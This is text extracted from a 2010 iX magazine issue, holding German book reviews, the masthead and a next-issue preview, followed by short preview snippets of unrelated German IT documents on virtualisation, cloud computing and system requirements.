2.6; Das umfassende Handbuch; Bonn (Galileo) 2010; 920 Seiten zzgl. DVD; e 49,90 (gebunden) GIMP 2.6 ausgerichtet. Sein Vorgehen ist weniger schrittweise als das Wolfs, aber er beschäftigt sich logischerweise ebenfalls mit Bildkorrektur und Retusche. Insgesamt orientiert er sich allerdings mehr an den Werkzeugen als an einzelnen Vorgehensschritten für seine Bearbeitungsbeispiele. Deswegen weniger Bilder. Michael Walder hat für O Reilly eine zweite Auflage seines Praxisworkshop GIMP 2 zusammengestellt, die wiederum auf Version 2.6 fußt. Außer der obligatorischen Einleitung erläutert er zunächst, womit man seine Bilder verwalten kann und unterscheidet im Weiteren zwischen einfachen Korrekturen (Filter) und anspruchsvoller Bearbeitung (Ebenen, Histogramme, Masken). Ebenfalls nicht bildüberladen, aber mit teils witzigen Effekten. Zurück zu Adobe. Angesichts des Photoshop-Preises war das Werkzeug nicht unbedingt für den Heimgebrauch geeignet. Das Einsteigerpaket Photoshop Elements, derzeit in Versionˇ8, kostet nur einen Bruchteil davon, und Klaus Gölker (siehe oben) spricht wie in seinem GIMP-Band Einsteiger ins Programm an: Vor den Details stehen ein paar Grundbegriffe der Bildverarbeitung sowie die Organisation von Bildern auf PC und Mac. And now for something completely different (Monty Python): Wie die Titelgeschichte dieses Heftes zeigt, kommt im Web die dritte Dimension. X3D ist der ISO- Standard für derlei, und Jörg H. Kloss beschäftigt sich schon seit mehr als zehn Jahren mit diesem Thema hat er mit anderen für Addison-Wesley einen Band zum X3D-Vorgänger Virtual Reality Modeling Language (VRML) verfasst, nun hat der Verlag sein X3D veröffentlicht, in dem der Autor darstellt, wie interaktive 3D- Anwendungen zu erstellen sind. Wer sich mit der dritten Web- Dimension beschäftigen will, kommt an diesem einzigen Buch zum Thema nicht vorbei. Henning Behme 144 ix 11/2010

145 Design ist nicht Dekora - tion, sondern die Möglichkeit, die Welt an irgendeiner Stelle ein wenig zu verbessern. So lautet die Kernaussage des Buchs von Präsentations-Guru Garr Reynolds. Der seit langer Zeit in Japan lebende Autor vereint in seinem Werk ostasiatische Weisheit mit praktischem Geschäftsinteresse, indem er Wege zu effektiver Garr Reynolds Zen oder die Kunst des Präsentations - designs München, 2010 Addison-Wesley 257 Seiten 29,80 e ISBN visueller Kommunikation vorstellt. Sicherlich hat jeder schon unter langweiligen Präsentationen gelitten, sich über unergonomische Bedienoberflächen geärgert oder ist an unverständlichen Darlegungen in Geschäftsberichten oder Produktbeschreibungen verzweifelt. Gängige Fehler zu vermeiden und sich dem Publikum wirkungsvoll mitzuteilen, ist allerdings keine Geheimwissenschaft. Wer schon mit Zen zu tun hatte, weiß: Man kann es nicht beschreiben, nur erleben. Durchgängig farbig auf glattem, kräftigen Papier gedruckt, kommt der Band in einem ungewöhnlichen, aber leicht zu handhabenden Format daher. Der Leser, der es von vorn bis hinten durchblättert, entdeckt viel exzellentes Präsentationsdesign. Dem nachzueifern, helfen Reynolds Ausführungen, der das so schwierige Einfache in überzeugender, klarer Sprache darstellt (kongeniale Übersetzung durch Isolde und Christoph Kommer). Den umfangreichen ersten Teil widmet der Autor den Komponenten Text, Farben, Bilder, Videos, Datenpräsentation. Darauf aufbauend, entwickelt er im zweiten Teil Grundprinzipien der Kombination dieser Komponenten: Raum erkennen und nutzen, Aufmerksamkeit bündeln und lenken, Harmonie erreichen. Aufgelockert wird das Ganze durch Beiträge anderer wie der Top-Designerin Nancy Duarte und des Fotografen Scott Kelby. Immer wieder verblüffend, wie der Autor es versteht, auf den Punkt zu bringen, was gutes Design ausmacht. Einfachheit, Weglassen, Mut zum leeren Raum, Harmonie, Kontraste, Geschichten erzählen das und vieles mehr postuliert Reynolds nicht nur, sondern lebt es praktisch vor. Der Schwerpunkt liegt auf Prinzipien und deren Anwendung, nicht auf den Werkzeugen. Bei so viel Lobenswertem fallen einzelne kleine Fehler nicht ins Gewicht. Dieses Buch lässt niemanden kalt außer Design-Profis und Zen-Meistern. DR. BERNHARD RÖHRIG ix 11/

146 MEDIEN Rezensionen Paul Zirkle, Joe Hogue iphone Game Development Sebastopol, CA 2010 O Reilly Media 242 Seiten 34,99 US-$/34, e ISBN Das iphone ist ein Hingucker und Apps zu schreiben eine Verlockung. Zahlreiche Programmierer sehen das so, weswegen es nicht verwundert, ein erstes Buch zur 2D- und 3D-Spieleentwicklung aus der Bücherflut zu fischen. Paul Zirkle und Joe Hogue sind in diesem Metier keine Neulinge, sie blicken auf Jahre der Spieleprogrammierung zurück (besonders Portierungen für Handys, etwa Ninja Gaiden oder Contraˇ4) und sind bei namenhaften Spieleschmieden beschäftigt. Zunächst führen die beiden Autoren in die Entwicklung für iphone respektive ipod touch ein (fürs ipad war es während des Schreibens zu früh). Es geht um Basics, vom Developer Account und Installieren des SDK samt Mac-IDE Xcode bis zum üblichen Hello World. Den Abschluss des ersten Ka pitels bildet eine kleine Objective-C-Einführung, die bei Java-/C#- oder C++- Kenntnissen ausreichend sein sollte. Bevor Zirkle und Hogue aber an die Spieleprogrammierung gehen, müssen sie Grundlagen erklären. So muss der Leser Ausführungen über die Graphic Engine (Rotation, Transparenz, Animationen und Kollisionserkennung), Audio Engine und die Spielelogik über sich ergehen lassen. Danach geht es um das Design eines 2D-Spiels. Von diesem Ausgangspunkt und der Feature-Liste reicht der Bogen über vier Ebenen, die die Applikation immer mehr ausbauen. Auf fast 100 Seiten stellen die Autoren viele mit Programmauszügen gespickte Details vor. Selbst - redend können die Sources von der Website zum Buch bezogen werden. Die 3D-Ausführungen sind im Vergleich kompakter, aber die Lernkurve bei 3D ist eine andere. Zirkle und Hogue machen klar, dass ein einzelnes 3D-Kapitel nur die Basics darlegen kann, das Beherrschen der 3D-Program mierung eher das Resultat jahrelanger Arbeit sein dürfte. Allgemeine Überlegungen zum Design beenden das Werk, beispielsweise zu Bluetooth oder anderer Netztechnik, Einbindung von Third-Party-Code und Anmerkungen zum Vertrieb über den App Store. iphone Game Development bereitet Spaß und regt an, das Gelesene gleich umzusetzen. Aus der Riege der iphone-literatur (Zdziarski, Sadun oder Stäuble) sticht es hervor. KARSTEN KISSER Terence Parr Language Implementation Patterns Create Your Own Domain- Specific and General Programming Languages Raleigh, NC 2010 Pragmatic Bookshelf 377 Seiten 34,95 US-$ ISBN Patterns als Wort weckt Assoziationen zu den von der Gang of Four begründeten Entwurfsmustern, und auf diese bezieht sich Parr kurz in seinem neuen Buch. Dennoch liefert er etwas ganz anderes. Während Gamma et al. sich allgemeinen Lösungsmustern widmeten, handelt es sich hier, dem Untertitel entsprechend, nur um solche, die der Umsetzung domänenspezifischer und allgemeiner Programmiersprachen dienen. Dabei stellt er die Schritte vom einfachen Einlesen einer Datei bis hin zu Interpretern beziehungsweise Übersetzern vor. Eingeteilt ist dies in vier Abschnitte: Grundlagen des Parsing, Analyse von Sprachen, Bau von Interpretern sowie Übersetzung und Generierung von Sprachen. Patterns sind häufig Abwandlungen früher vorgestellter Muster. So liefert der Autor nicht ein Musterbuch, sondern eher ein praktisches Lehrbuch der Spracherkennung und -verarbeitung, das nebenher hilfreiche Patterns enthält. Praktisch heißt, dass Parr eher kurz und knapp auf Theorien eingeht und die Umsetzung der jeweiligen Problematik in den Vordergrund stellt. Im ersten Abschnitt stellt er Muster vor und erläutert, wie Lexer sowie Parser arbeiten. Dazu nutzt er Java. Es sollte dem Leser jedoch nicht schwer fallen, dies mit anderen Sprachen nachzuvollziehen. Da die eher mechanische Erstellung von Parsern nicht unbedingt die Erfüllung eines Entwicklers ist, empfiehlt sich hierfür der Einsatz eines Parser-Generators. Deshalb nutzt der Autor für die späteren Abschnitte den von ihm entwickelten ANTLR (den Hauptteil des Codes stellt aber weiterhin Java). Parr erläutert eine Menge entscheidender Programmanschnitte. Zu einem vollständigen Bild wird dies durch den Down - load der Sources. Auf das Parsen folgt die interne Darstellung als Syntaxbaum, der ein- oder mehrfach durchlaufen werden kann, um Symboltabellen, Syntaxprüfungen oder Übersetzungen zu erstellen. Der Autor zeigt im Kleinen, wie ein Assembler, ein Disassembler, ein Bytecode-Interpreter, ein SQL-Generator, ein regelbasierter Übersetzer et cetera im Großen funktionieren und gibt einen kurzen Ausblick, was der Leser mit dem nun erworbenen Wissen alles anstellen könnte. Schließlich gibt es eine Menge Problemstellungen, die man relativ einfach und elegant mit einer DSL anstelle spezieller Programmierung lösen könnte. Genau hierfür schärft das Buch den Blick. Was Sie schon immer über DSL wissen wollten und sich nicht zu fragen getraut haben Parr schafft es auf weniger als 400 Seiten, ein spannendes Thema kompakt und praxisnah darzustellen. Und mit leichten Vorkenntnissen in ANTLR (oder ähnlich arbeitender Generatoren) ist das Buch selbst ohne praktische Übung verständlich. MICHAEL MÜLLER 146 ix 11/2010

147

148

149

150

151

152

153 SERVICE Impressum MAGAZIN FÜR PROFESSIONELLE x INFORMATIONSTECHNIK Postfach , Hannover; Helstorfer Straße 7, Hannover Redaktion: Telefon: 05 11/ , Fax: 05 11/ , post@ix.de Abonnements: Telefon: 040/ , Fax: 040/ , leserservice@heise.de Herausgeber: Christian Heise, Ansgar Heise Redaktion: Chefredakteur: Jürgen Seeger (JS) -386 Stellv. Chefredakteur: Henning Behme (hb) -374 Ltd. Redakt.: Kersten Auel (ka) -367, Ralph Hülsenbusch (rh) -373, Bert Ungerer (un) -368 Jürgen Diercks (jd) -379, Christian Kirsch (ck) -590, Wolfgang Möhle (WM) -384, Alexander Neumann (ane) -813, Susanne Nolte (sun) -689, André von Raison (avr) -377, Michael Riepe (mr) -787, Ute Roos (ur) -535 Redaktionsassistenz: Carmen Lehmann (cle) -387, Michael Mentzel (mm) -153 Korrespondent Köln/Düsseldorf/Ruhrgebiet: Achim Born, Siebengebirgsallee 82, Köln,Telefon: 02 21/ , ab@ix.de Korrespondentin München: Susanne Franke, Ansbacherstr. 2, München, Telefon: 089/ , sf@ix.de Ständige Mitarbeiter: Detlef Borchers, Tobias Haar, Fred Hantelmann, Nils Kaczenski, Kai König, Barbara Lange, Stefan Mintert, Holger Schwichtenberg, Susanne Schwonbeck, Christian Segor, Diane Sieger, Axel Urbanski, Gerhard Völkl, Nikolai Zotow DTP-Produktion: Enrico Eisert, Wiebke Preuß, Matthias Timm, Hinstorff Verlag, Rostock Korrektorat/Chefin vom Dienst: Anja Fischer Fotografie: Martin Klauss Fotografie, Despetal/Barfelde Titelidee: ix; Titel- und Aufmachergestaltung: Dietmar Jokisch Verlag und Anzeigenverwaltung: Heise Zeitschriften Verlag GmbH & Co. KG, Postfach , Hannover; Helstorfer Straße 7, Hannover; Telefon: 05 11/ , Fax: 05 11/ Geschäftsführer: Ansgar Heise, Steven P. Steinkraus, Dr. Alfons Schräder Mitglied der Geschäftsleitung: Beate Gerold Verlagsleiter: Dr. Alfons Schräder Anzeigenleitung: Michael Hanke -167, michael.hanke@heise.de Stellv. Anzeigenleiter und Ltg. International: Oliver Kühn -395, oliver.kuehn@heise.de Assistenz: Stefanie Frank -205, stefanie.frank@heise.de Anzeigendisposition, Sonderprojekte: Christine Richter -534, christine.richter@heise.de Anzeigenverkauf: PLZ-Gebiete 0 3, Ausland: Oliver Kühn -395, oliver.kuehn@heise.de, PLZ-Gebiete 8 9: Ralf Räuber -218, ralf.raeuber@heise.de Sonderprojekt ix extra: Isabelle Paeseler -133, isabelle.paeseler@heise.de Anzeigen-Inlandsvertretung: PLZ-Gebiete 4 7: Karl-Heinz Kremer GmbH, Sonnenstraße 2, D Hilst, Telefon: / , Fax: / , karlheinz.kremer@heise.de Anzeigen-Auslandsvertretung: Großbritannien, Irland: Oliver Smith & Partners Ltd., Colin Smith, 18 Abbeville Mews, 88 Clapham Park Road, London SW4 7BX, UK, Telefon: , Fax: , colin@osp-uk.com USA, Kanada: Avani Media, Inc., Leslie Hallanan, 69a Liberty Ship Way, Sausalito, CA USA, Telefon: , Fax: , Leslie@avanimedia.com Anzeigenpreise: Es gilt die Anzeigenpreisliste Nr. 22 vom 1. Januar Leiter Vertrieb und Marketing: Mark A. Cano (-299) Werbeleitung: Julia Conrades (-156) Teamleitung Herstellung: Bianca Nagel (-456) Druck: Dierichs Druck + Media GmbH & Co. KG, Kassel Sonderdruck-Service: Bianca Nagel (-456, Fax: -360) Verantwortlich: Textteil: Jürgen Seeger; Anzeigenteil: Michael Hanke ix erscheint monatlich Einzelpreis e 5,90, Österreich e 6,20, Schweiz CHF 10,70, Benelux e 6,70, Italien e 6,70 Das Abonnement für 12 Ausgaben kostet: Inland e 65,, Österreich e 67,50, restl. Ausland (außer Schweiz) e 72,00; Studentenabonnement: Inland e 42,, Österreich e 47,, restl. Ausland (außer Schweiz) e 47, nur gegen Vorlage der Studienbescheinigung, Luftpost auf Anfrage. ix-abo plus (inkl. jährlicher Archiv-CD-ROM) jeweils zzgl. e 8, Für GI-, VDI-KfIT-, GUUG-, IUG-, LUG-, AUGE- und Mac-e.V.-Mitglieder gilt der Preis des Studentenabonnements (gegen Mitgliedsausweis). Kundenkonto in Österreich: Dresdner Bank AG, BLZ 19675, Kto.-Nr EUR, SWIFT: DRES AT WX Kundenkonto in der Schweiz: UBS AG, Zürich, Kto.-Nr. 206 P Abo-Service: Heise Zeitschriften Verlag GmbH & Co. KG, Kundenservice, Postfach , Hamburg, Telefon: 040/ , Fax: 040/ , leserservice@heise.de Für Abonnenten in der Schweiz Bestellung über: Thali AG, Aboservice, Industriestr. 14, CH-6285 Hitzkirch, Telefon: 041/ , Fax: 041/ , abo@thali.ch, Internet: (Jahresabonnement: CHF 119, ; Studentenabonnement: CHF 83,25) ix-abo plus (inkl. jährlichem Archivmedium CD-ROM oder DVD) jeweils zzgl. CHF 15,60 Das Abonnement ohne Archivmedium ist jederzeit mit Wirkung zur jeweils übernächsten Ausgabe kündbar. Das ix-abo plus (inkl. jährlichem Archivmedium) gilt zunächst für ein Jahr und ist danach zur jeweils übernächsten Ausgabe kündbar. Vertrieb Einzelverkauf (auch für Österreich, Luxemburg und Schweiz): MZV Moderner Zeitschriften Vertrieb GmbH & Co. KG, Ohmstr. 1, Unterschleißheim, Telefon: 089/31ˇ9 06-0, Fax: 089/319ˇ , mzv@mzv.de, Internet: Eine Haftung für die Richtigkeit der Veröffentlichungen kann trotz sorgfältiger Prüfung durch die Redaktion vom Herausgeber nicht übernommen werden. Die gewerbliche Nutzung abgedruckter Programme ist nur mit schriftlicher Genehmigung des Herausgebers zulässig. Honorierte Arbeiten gehen in das Verfügungsrecht des Verlages über, Nachdruck nur mit Genehmigung des Verlages. Mit Übergabe der Manuskripte und Bilder an die Redaktion erteilt der Verfasser dem Verlag das Exklusivrecht zur Veröffentlichung. Für unverlangt eingesandte Manuskripte kann keine Haftung übernommen werden. Sämtliche Veröffentlichungen in ix erfolgen ohne Berücksichtigung eines eventuellen Patentschutzes. Warennamen werden ohne Gewährleistung einer freien Verwendung benutzt. Printed in Germany GmbH & Co. KG ISSN ix 11/

154 VORSCHAU Dezember 2010 Das bringen Windows 7 in Unternehmen Ein direktes Update von Vista auf Win - dowsˇ7 ist unproblematisch; alle benutzerspezifischen Informationen bleiben erhalten. Ist der Ausgangspunkt aber XP und in Unternehmen ist das die Regel gehen die Profile und Benutzerdaten verloren; sie müssen separat migriert werden. Microsoft bietet dafür ein einfaches kostenloses Tool an. Werkzeuge von Drittanbietern versprechen mehr Flexibilität und Komfort. Bewegliches Web Seit Smartphones massenhaft in Gebrauch sind, gibt es neue Anforderungen an Webdesigner. Schließlich gilt es, unterschied - liche Displays allüberall zu bedienen. Das kann bedeuten, für kleinere Smart - phones eine.mobi-site zu erstellen, und endet damit, selbst eine App zu entwickeln. Ein neues Tutorial beschreibt die Möglichkeiten. Eingebettete Webserver HTTP ist ein ideales Protokoll auch zum Konfigurieren und Bedienen von Geräten wie Waschmaschinen und Toastern. Ein Überblick über eingebettete Server von B wie Barracuda bis L wie Lighttpd. Heft 12/2010 erscheint am 18. November 2010 RAD-Entwicklung mit.net Das Rapid Application Development hat Microsoft in den letzten Jahren stiefmütterlich behandelt. Mit Visual Studio LightSwitch präsentiert das Unternehmen nun einen.net-aufsatz, der die schnelle Entwicklung von Eingabemasken verspricht. ix hat die erste Betaversion in Hinblick auf Produktivität und Flexibilität analysiert. 3D im Browser animieren Bisherigen Versuchen, Dreidimensionales im Browser darzustellen und zu manipulieren, war wenig Erfolg beschieden. Verfahren wie VRML konnten sich nie richtig durchsetzen. Das soll jetzt mit den Open- Source-Projekten X3DOM und XML3D anders werden, die sich interaktives 3D im Browser ohne Spezialkenntnisse auf die Fahne geschrieben haben. Mit HTML5-Erweiterungen sind erste 3D-Szenen schnell erstellt. ix 12 zeigt an Beispielen für beide Systeme, wie einfach auch anwendungsspezifische Erweiterungen und neue Interaktionskonzepte realisierbar sind. Foto: Nils Koppaetzky magazin für computer technik All-in-One-PCs: Apples imac bekommt Konkurrenz Speicher-Sticks mit USB 2.0 und 3.0 E-Book-Reader der neuen Gene - ration ab 150 Euro HTML5 vereinfacht die Web-Entwicklung Heft 23/10 ab 25. Oktober am Kiosk Maschinen mit Gefühl: Soziale Roboter könnten bald das Verhältnis zwischen Mensch und Maschine prägen. Pestizide aus RNA: RNA-Stücke sollen präziser wirken als bisherige Pflanzenschutzmittel. Heft 11/10 ab 28. Oktober am Kiosk Dietmar Gottfried: Hitler Avatar Die seltsame und schreckliche Welt der Savitri Devi Bettina Winsemann: Nach der Keuschheitsphase kommt wieder Schwung in die Liebesromanszene ix 11/2010

ab abend Abend aber Aber acht AG Aktien alle Alle allein allen aller allerdings Allerdings alles als Als also alt alte alten am Am amerikanische

ab abend Abend aber Aber acht AG Aktien alle Alle allein allen aller allerdings Allerdings alles als Als also alt alte alten am Am amerikanische ab abend Abend aber Aber acht AG Aktien alle Alle allein allen aller allerdings Allerdings alles als Als also alt alte alten am Am amerikanische amerikanischen Amt an An andere anderen anderer anderes

Mehr

Wortformen des Deutschen nach fallender Häufigkeit:

Wortformen des Deutschen nach fallender Häufigkeit: der die und in den 5 von zu das mit sich 10 des auf für ist im 15 dem nicht ein Die eine 20 als auch es an werden 25 aus er hat daß sie 30 nach wird bei einer Der 35 um am sind noch wie 40 einem über einen

Mehr

Virtuelle Desktop Infrastruktur

Virtuelle Desktop Infrastruktur Virtuelle Desktop Infrastruktur Inhaltsverzeichnis 1. Hintergrund 2. VMware Horizon View Clients 3. Installation VMware Horizon View Client 3.1. Installation für Windows 3.2. Installation für OS X 3.3.

Mehr

Vorstellung zu einem Web Desktop: eyeos

Vorstellung zu einem Web Desktop: eyeos Binglin Li Cloud-Computing Seminar Hochschule Mannheim WS0910 1/20 Vorstellung zu einem Web Desktop: eyeos Binglin Li Fakultaet fuer Informatik Hochschule Mannheim 11.12.2009 Binglin Li Cloud-Computing

Mehr

Cloud Computing Chancen und Risiken für KMUs.

Cloud Computing Chancen und Risiken für KMUs. Cloud Computing Chancen und Risiken für KMUs. Liebe Leserin, lieber Leser Wer seine IT in die Cloud auslagert, braucht keine Server mehr. Zudem sind alle Dokumente jederzeit auf allen Geräten verfügbar

Mehr

M5000 einfach ablösen durch T4/T5 LDoms und Solaris Zonen

M5000 einfach ablösen durch T4/T5 LDoms und Solaris Zonen M5000 einfach ablösen durch T4/T5 LDoms und Solaris Zonen Marcel Hofstetter JomaSoft GmbH St. Gallen / Schweiz Schlüsselworte M5000, T4, T5, LDoms, Oracle Solaris 11, Solaris Zonen, VDCF Einleitung Die

Mehr

JEAF Cloud Plattform Der Workspace aus der Cloud

JEAF Cloud Plattform Der Workspace aus der Cloud JEAF Cloud Plattform Der Workspace aus der Cloud Juni 2014 : Aktuelle Situation Heutige Insellösungen bringen dem Nutzer keinen Mehrwert Nutzer sind mobil Dateien und Applikationen sind über Anbieter und

Mehr

Virtualisierter Terminalserver

Virtualisierter Terminalserver Virtualisierter Terminalserver 1. Virtualisierung Virtualisierung bezeichnet in der Informatik laut Wikipedia die Nachbildung eines Hard- oder Software- Objekts durch ein ähnliches Objekt vom selben Typ

Mehr

wiko Bausoftware GmbH

wiko Bausoftware GmbH Systemvoraussetzungen wiko Bausoftware Produkt: wiko Version: 6.x Status: Veröffentlicht Datum: 19.09.2017 Owner: wiko Bausoftware GmbH Inhalt 1. wiko.... 3 1.1 Server... 3 1.2 Übersicht Konfigurationen...

Mehr

Windows 8 Apps entwickeln

Windows 8 Apps entwickeln Windows 8 Apps entwickeln Apps für die neue Oberfläche von Windows 8 Entwickeln mit HTML5, JavaScript, XAML und C# Von den Grundlagen der Programmiersprachen bis zur fertigen App Windows 8 Apps entwickeln

Mehr

- einen großen Funktionsumfang

- einen großen Funktionsumfang Um die Daten Ihres Unternehmens zu schützen, benötigen Sie eine solide Backup-Planung für Ihre Workstations sowie Server. Die mehrfach preisgekrönte Backupsoftware bietet je nach Version - einen großen

Mehr

Betrieb einer Forms-Anwendung in der Azure Cloud. Forms Day München

Betrieb einer Forms-Anwendung in der Azure Cloud. Forms Day München Betrieb einer Forms-Anwendung in der Azure Cloud Forms Day 21.02.2019 München Die Ausgangssituation Behördenanwendung mit ca. 100 FMB und 70 RDF 14 Installationen (Forms 11+12) mit jeweils ca. 2-30 Anwender

Mehr

VHS Computer Kurs Uhr INHALT: Betriebssysteme Programme Internet. IMMER: fragen!

VHS Computer Kurs Uhr INHALT: Betriebssysteme Programme Internet. IMMER: fragen! INHALT: > Der Dozent Die Teilnehmer Wo kommt das her? > Computergeschichte Wie läuft das? > Hardware / Software Betriebssysteme Programme Internet Unser Ziel > Dokumente mit den üblichen Büroanwendungen

Mehr

CLOUD FÜR KMU CHANCE ODER RISIKO? INFORMATIONSVERANSTALTUNG, 9. NOVEMBER 2016

CLOUD FÜR KMU CHANCE ODER RISIKO? INFORMATIONSVERANSTALTUNG, 9. NOVEMBER 2016 CLOUD FÜR KMU CHANCE ODER RISIKO? INFORMATIONSVERANSTALTUNG, 9. NOVEMBER 2016 ORGANISATION ZIELE DES KMU WIRTSCHAFTSFORUMS PRAXISNAHE THEMEN FÜR DIE UMSETZUNG IM FIRMENALLTAG LEBENSPHASEN EINES UNTERNEHMENS

Mehr

Der Digitale Arbeitsplatz der Zukunft

Der Digitale Arbeitsplatz der Zukunft Der Digitale Arbeitsplatz der Zukunft Arrow ECS AG Norbert Rudiger Business Development Manager, BU Virtualization Tel.: +49 (0)89 93099 201 Email: norbert.rudiger@arrow.com Zahlen, Daten, Fakten Quelle:

Mehr

End-User Experience in der Cloud. Copyright 2012 EMC Corporation. All rights reserved.

End-User Experience in der Cloud. Copyright 2012 EMC Corporation. All rights reserved. End-User Experience in der Cloud Copyright 2012 EMC Corporation. All rights reserved. SAMSUNG TOUCH THE SKY EMC Partner Kick-Off 2012 FRANKFURT, 08.05.2012 ROLAND SCHWEYER AMIT CHATTERJEE SAMSUNG ELECTRONICS.

Mehr

Stasi - Opfer - Opfer der Stasi zeigen Stasiakten und Stasiunterlagen :: Unsere Policy 10/07/17 08:00:37

Stasi - Opfer - Opfer der Stasi zeigen Stasiakten und Stasiunterlagen :: Unsere Policy 10/07/17 08:00:37 Unsere Policy Unsere Policy - Richtlinien über die Privatsphäre Wir achten und schützen Ihre Privatsphäre. Wir möchten Sie in allen Einzelheiten über die Grundsätze und Verfahren informieren, mit denen

Mehr

elpromonitor Software - Systemvoraussetzungen

elpromonitor Software - Systemvoraussetzungen 2017.12 Software - Systemvoraussetzungen Das CMS System verwendet die bewährte Hardware ECOLOG-NET. Für bestehende Kunden ist daher kein Wechsel / Austauschen der installierten Hardware (Datenlogger ECOLOG-NET,

Mehr

Link:

Link: Link: https://www.tecchannel.de/a/radmin-3-4-server-und-pcs-fernsteuern,2018348 Remote Management Software Radmin 3.4 - Server und PCs fernsteuern Datum: Autor(en): 08.06.2010 Bernhard Haluschak Radmin

Mehr

LAC Server und Netzwerke. Kaufpläne der c t-leser

LAC Server und Netzwerke. Kaufpläne der c t-leser LAC 2011 Server und Netzwerke Kaufpläne der c t-leser www.ct.de 12. 9. 2011 LAC 2011 Top-Zielgruppe bestätigt c t Favorit der IT-Profis Mit Stellenmarkt magazin für computer technik 20 So viel Schutz muss

Mehr

S T O R A G E - LÖ S U N G E N

S T O R A G E - LÖ S U N G E N STORAGE-LÖSUNGEN Im Brennpunkt Storage Systeme rücken in den Mittelpunkt der strategischen IT-Planung der Unternehmen. War es vorher die Entscheidung für die Server-Hardware, ein Betriebssystem, eine Datenbank

Mehr

quickterm Systemvoraussetzungen Dokumentversion 1.0

quickterm Systemvoraussetzungen Dokumentversion 1.0 quickterm 5.6.6 Systemvoraussetzungen Inhaltsverzeichnis Inhaltsverzeichnis 1 Systemvoraussetzungen quickterm Server... 3 2 Systemvoraussetzungen quickterm Client... 5 3 Systemvoraussetzungen quickterm

Mehr

Effizient, sicher und flexibel: Desktop-Virtualisierung mit Citrix XenDesktop

Effizient, sicher und flexibel: Desktop-Virtualisierung mit Citrix XenDesktop Effizient, sicher und flexibel: Desktop-Virtualisierung mit XenDesktop Der richtige Desktop für jeden Anwender Wolfgang Traunfellner, Systems GmbH Unsere Vision Eine Welt, in der jeder von jedem Ort aus

Mehr

VAADIN, SPRING BOOT & REST

VAADIN, SPRING BOOT & REST VAADIN, SPRING BOOT & REST Ein Einstieg für Domino Entwickler Stephan Kopp 1 STEPHAN KOPP Software & Solutions Development Tel.: +49 6182 7869420 Mobil: +49 173 3089806 E-Mail: stephan.kopp@axians.de 2

Mehr

TÜV Rheinland: Smarter Einbruchschutz sorgt für mehr Sicherheit

TÜV Rheinland: Smarter Einbruchschutz sorgt für mehr Sicherheit TÜV Rheinland: Smarter Einbruchschutz sorgt für mehr Sicherheit 03.07.2018 Köln Jahrelang wuchs kaum eine Branche hierzulande so stark wie die der Einbrecher. Inzwischen hat sich die Situation etwas entspannt:

Mehr

So leicht ist Mobile Printing im ios-umfeld

So leicht ist Mobile Printing im ios-umfeld Made in Germany 2 ipad, iphone, ipod and ipod touch are trademarks of Apple Inc., registered in the U.S. and other countries. AirPrint and the AirPrint logo are trademarks of Apple Inc. So leicht ist Mobile

Mehr

Release Notes. NCP Secure Enterprise HA Server. 1. Neue Leistungsmerkmale und Erweiterungen. 2. Fehlerbehebung und Änderungen

Release Notes. NCP Secure Enterprise HA Server. 1. Neue Leistungsmerkmale und Erweiterungen. 2. Fehlerbehebung und Änderungen NCP Secure Enterprise HA Server Service Release 10.0 r28591 (Linux 64) März 2016 Secure Enterprise Management Server: ab Version 3.02 Management Plugin - Server Configuration: ab Version 10.00 r26953 Bitte

Mehr

PROJECT AWESOME AUTOPILOT EIN ERFAHRUNGSBERICHT. Schwarz IT KG Client Technologien Lars Naber

PROJECT AWESOME AUTOPILOT EIN ERFAHRUNGSBERICHT. Schwarz IT KG Client Technologien Lars Naber PROJECT AWESOME AUTOPILOT EIN ERFAHRUNGSBERICHT Schwarz IT KG Client Technologien Lars Naber ICH IT Erfahrung seit 1991 vom Client Support zum Client Management Lars Naber established 1973 Verheiratet

Mehr

Systemanforderungen für MuseumPlus und emuseumplus

Systemanforderungen für MuseumPlus und emuseumplus Systemanforderungen für MuseumPlus und emuseumplus Systemanforderungen für MuseumPlus und emuseumplus Gültig ab: 01.04.2008 Neben den aufgeführten Systemvoraussetzungen gelten zusätzlich die Anforderungen,

Mehr

Virtualisierung und Management am Desktop mit Citrix

Virtualisierung und Management am Desktop mit Citrix Virtualisierung und Management am Desktop mit Citrix XenDesktop, XenApp Wolfgang Traunfellner Senior Sales Manager Austria Citrix Systems GmbH Herkömmliches verteiltes Computing Management Endgeräte Sicherheit

Mehr

LAC PCs, Workstations und Komponenten. Kaufpläne der c t-leser

LAC PCs, Workstations und Komponenten. Kaufpläne der c t-leser LAC 2011 PCs, Workstations und Komponenten Kaufpläne der c t-leser www.ct.de 12. 9. 2011 LAC 2011 Top-Zielgruppe bestätigt c t Favorit der IT-Profis Mit Stellenmarkt magazin für computer technik 20 So

Mehr

parat. AMDs x86-prozessoren bieten hierfür das 3

parat. AMDs x86-prozessoren bieten hierfür das 3 Link: https://www.tecchannel.de/a/windows-7-xp-mode-performance-und-einschraenkungen,2018717 Benchmark-Test Windows 7 XP Mode - Performance und Einschränkungen Datum: Autor(en): 22.10.2009 Christian Vilsbeck

Mehr

Software Defined Networks - der Weg zu flexiblen Netzwerken

Software Defined Networks - der Weg zu flexiblen Netzwerken Software Defined Networks - der Weg zu flexiblen Netzwerken 4. Tiroler IT-Day Donnerstag, 7. Mai 2015 Dieter Aigner Network Engineer Vogelweiderstraße 44A 5020 Salzburg Österreich Telefon +43 50 811 7494

Mehr

MOBILE ON POWER MACHEN SIE IHRE ANWENDUNGEN MOBIL?!

MOBILE ON POWER MACHEN SIE IHRE ANWENDUNGEN MOBIL?! MOBILE ON POWER MACHEN SIE IHRE ANWENDUNGEN MOBIL?! Oliver Steinhauer Sascha Köhler.mobile PROFI Mobile Business Agenda MACHEN SIE IHRE ANWENDUNGEN MOBIL?! HERAUSFORDERUNG Prozesse und Anwendungen A B

Mehr

Smartphone - Betriebssysteme. Smartphone - Betriebssysteme

Smartphone - Betriebssysteme. Smartphone - Betriebssysteme Smartphone - Betriebssysteme Peter Rami - Graz, 28.04.2009 Inhalt Smartphone Symbian OS Windows Mobile BlackBerry OS iphone OS Android Marktanteile & Ausblick Smartphone - Betriebssysteme Peter Rami -

Mehr

Sophos Mobile Control

Sophos Mobile Control Roman Schlenker Senior Sales Engineer Sophos Mobile Control Security for mobile devices Sophos Mobile Control Zentrale Administration von Smartphones & Tablets Zentrale Administration & Konfiguration Zentrale

Mehr

Übersicht Streams nach Liste Produkte/Themen

Übersicht Streams nach Liste Produkte/Themen Stream Datenbank: DB Oracle 9i bis 12c In-Memory Datenbanken Enterprise Manager Appliances EXADATA RAC DataGuard Upgrades, Konsolidierungen Implementationen Administration / Monitoring Performance Tuning

Mehr

